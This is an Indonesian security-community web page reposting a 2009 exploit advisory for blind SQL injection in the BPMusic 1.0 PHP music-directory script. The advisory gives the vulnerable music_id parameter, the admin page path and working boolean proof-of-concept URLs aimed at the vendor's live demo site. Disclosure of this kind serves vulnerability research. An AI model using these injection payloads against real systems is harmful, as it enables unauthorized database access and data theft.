www.sekuritionline.net
-= Home =- -= Contact =- -= Register =- -= Manifesto =- -= Forum =- -= Baju SO =- -= FreeMail =-
Login Panel
Username:
Password:
Remember Me

Not registered?
Register now!

Forgot your password?
FreeMail
Email Login :
Password :
New users
sign up!!!
powered by Everyone.net
Users Online
Online Now: 2
0 Members | 2 Guests
Our IRC Channel
IRC Channel:
#sekuritionline

IRC Nettwork:
irc.dal.net

Connect to channel
Banner Motd
sekuritionline.net
Linker kami
Copy & paste Coding Dibawah ini
Untuk Banner kami
==================================
<a href="http://www.sekuritionline.net/"
target="_blank"><img src=
"http://www.sekuritionline.net/
banner/banner.gif" width="125" height="75"
alt="sekuritionline.net" title="SO-Te@m"
border="0" /></a>
Best View

Best View : 1024 x 768

IP

Page Ranking Tool
Simple Counter
909
Exploits
Semua Hasil Exploitasi bisa dicheck disini
Info

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Linker's Friends


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Untuk artikel yang memang membutuhkan gambar / foto sekiranya rekan-rekan dapat

mengirim artikel memakai file berbentuk .ZIP atau .RAR dan di email ke artikel[at]sekuritionline.net
Perhatian Pengiriman Artikel diharuskan melakukan Registrasi terlebih dahulu....
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
New !!! dapatkan FreeMail namakamu@sekuritionline.net Klik Disini



Thanks : OurFamily, All Indonesian Community Underground ....

irc.dal.net #sekuritionline


 "Dalam dunia digital aku berdiri diatas Aliran bit yang penuh dengan keindahan ,
semua diciptakan dengan perasaan tanpa beban dan tanpa paksaan ,
tidak berdiri diatas keangkuhan semata tetapi menunduk dibawah kebenaran …"

SekuritiOnline T-Shirt V2 Ready Stock !!!
http://shop.sekuritionline.net
Search Engine
Key Word(s): Search By:  
Current Time/Date
September 9, 2010, 6:31 am
Articles
BPMusic 1.0 blind SQL Vulnerabilities
By OoN_Boy
Published: October 14, 2009
Print   
[x]========================================================================================================================================[x]
|                                                      AntiSecurity[dot]org                                                                |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
| Title            : BPMusic 1.0 blind SQL Vulnerabilities                                            |
| Software         : BPMusic                                                        |
| Vendor           : http://bpowerhouse.info                                                |
| Demo            : http://bpowerhouse.com/demos/bpmusic                                            |
| Date            : 22 September 2009 ( Indonesia )                                            |
| Author           : OoN_Boy                                                        |
| Contact          : oon.boy9@gmail.com                                                    |
| Web                : http://oonboy.info                                                    |
| Blog             : http://oonboy.blogspot.com                                                |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
| Technology        : PHP                                                                                                               |
| Database        : MySQL                                                                                                             |
| Version        : 1.0                                                                                                               |
| License        : GNU GPL                                                                                                           |
| Price        : $28.90                                                                                                            |
| Description        : is a music directory site script, ready for use web directory of music providing audio files. The site is         |
|              available for users in four different languages (English , Spanish, Frensh and German). Users may search the         |
|              directory for desired music files and listen to them. The site contains an advanced administration panel for         |
|              management of  the sites data,postings approval and much more                                |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
| Google Dork         : cari sendiri yah                                                     |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
| Exploit         : http://localhost/[path]/music.php?music_id=[sql]                                      |
| Aadmin Page        : http://localhost/[path]/admin/index.php                                        |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
| Proof of concept    : http://bpowerhouse.com/demos/bpmusic/music.php?music_id=292+and+substring(@@version,1,1)=5 True            |
|              http://bpowerhouse.com/demos/bpmusic/music.php?music_id=292+and+substring(@@version,1,1)=4 False            |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
| Greetz        : antisecurity.org batamhacker.or.id                                                                                |
|               Vrs-hCk NoGe Paman zxvf Angela Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va                       |
|                 k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere                  |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
| Note            : Selamat hariraya idul fitri mohon maaf lahir dan batin, maafin kesalahan ku selama ini yah all             |
|              kabur.... untuk sementara waktu.... bye bye.....                                    |
[x]========================================================================================================================================[x]

View Comments (0)
Powered by SO Community @ 2004 - 2011
Segala sesuatu yang dapat ditimbulkan oleh artikel disini kami tidak bertanggung jawab
artikel yang terbit kami anggap sebagai wujud pembelajaran untuk kita semua